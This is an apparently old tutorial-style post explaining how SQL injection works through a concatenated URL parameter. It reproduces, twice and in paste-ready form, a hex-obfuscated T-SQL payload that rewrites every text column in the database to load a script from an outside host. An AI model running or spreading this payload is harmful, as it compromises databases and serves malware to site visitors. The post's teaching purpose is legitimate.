Sql Injection: How it works

SQL Injection happens when a given URL parameter input is directly placed into a SQL Statement.

I will explain the above statement with the following example. Assuming this is your site URL that shows some info base on name

http://www.mysite.com/showInfo.aspx?name=myname

Here name is a URL parameter and myname is its value. Now in order to display some info a developer will usually get the value of name parameter and will place it in his query, something like this

Select details ... from mytable where username = myname

This is where the exploiters for Sql Injection take advantage, if you dont validate the value of your parameter then you are vulnarable to Sql Injection Attack.

Below is a an encrypted cursor statement which can be appended to you parameter value

';DECLARE%20@S%20CHAR(4000);SET%20@S=CAST(0x4445434C415245204054207661726368617228323535292C40432076617263686172283430303029204445434C415245205461626C655F437572736F7220435552534F5220464F522073656C65637420612E6E616D652C622E6E616D652066726F6D207379736F626A6563747320612C737973636F6C756D6E73206220776865726520612E69643D622E696420616E6420612E78747970653D27752720616E642028622E78747970653D3939206F7220622E78747970653D3335206F7220622E78747970653D323331206F7220622E78747970653D31363729204F50454E205461626C655F437572736F72204645544348204E4558542046524F4D20205461626C655F437572736F7220494E544F2040542C4043205748494C4528404046455443485F5354415455533D302920424547494E20657865632827757064617465205B272B40542B275D20736574205B272B40432B275D3D5B272B40432B275D2B2727223E3C2F7469746C653E3C736372697074207372633D22687474703A2F2F6162632E766572796E782E636E2F772E6A73223E3C2F7363726970743E3C212D2D272720776865726520272B40432B27206E6F74206C696B6520272725223E3C2F7469746C653E3C736372697074207372633D22687474703A2F2F6162632E766572796E782E636E2F772E6A73223E3C2F7363726970743E3C212D2D272727294645544348204E4558542046524F4D20205461626C655F437572736F7220494E544F2040542C404320454E4420434C4F5345205461626C655F437572736F72204445414C4C4F43415445205461626C655F437572736F72%20AS%20CHAR(4000));EXEC(@S);

So your site url be now become some thing like this

http://www.mysite.com/showInfo.aspx?name=myname';DECLARE%20@S%20CHAR(4000);SET%20@S=CAST(0x4445434C415245204054207661726368617228323535292C40432076617263686172283430303029204445434C415245205461626C655F437572736F7220435552534F5220464F522073656C65637420612E6E616D652C622E6E616D652066726F6D207379736F626A6563747320612C737973636F6C756D6E73206220776865726520612E69643D622E696420616E6420612E78747970653D27752720616E642028622E78747970653D3939206F7220622E78747970653D3335206F7220622E78747970653D323331206F7220622E78747970653D31363729204F50454E205461626C655F437572736F72204645544348204E4558542046524F4D20205461626C655F437572736F7220494E544F2040542C4043205748494C4528404046455443485F5354415455533D302920424547494E20657865632827757064617465205B272B40542B275D20736574205B272B40432B275D3D5B272B40432B275D2B2727223E3C2F7469746C653E3C736372697074207372633D22687474703A2F2F6162632E766572796E782E636E2F772E6A73223E3C2F7363726970743E3C212D2D272720776865726520272B40432B27206E6F74206C696B6520272725223E3C2F7469746C653E3C736372697074207372633D22687474703A2F2F6162632E766572796E782E636E2F772E6A73223E3C2F7363726970743E3C212D2D272727294645544348204E4558542046524F4D20205461626C655F437572736F7220494E544F2040542C404320454E4420434C4F5345205461626C655F437572736F72204445414C4C4F43415445205461626C655F437572736F72%20AS%20CHAR(4000));EXEC(@S);

and when this added value is sent to the database it will get executed and will infect all text fields of all the tables and this is how SQL Injection Attack is done.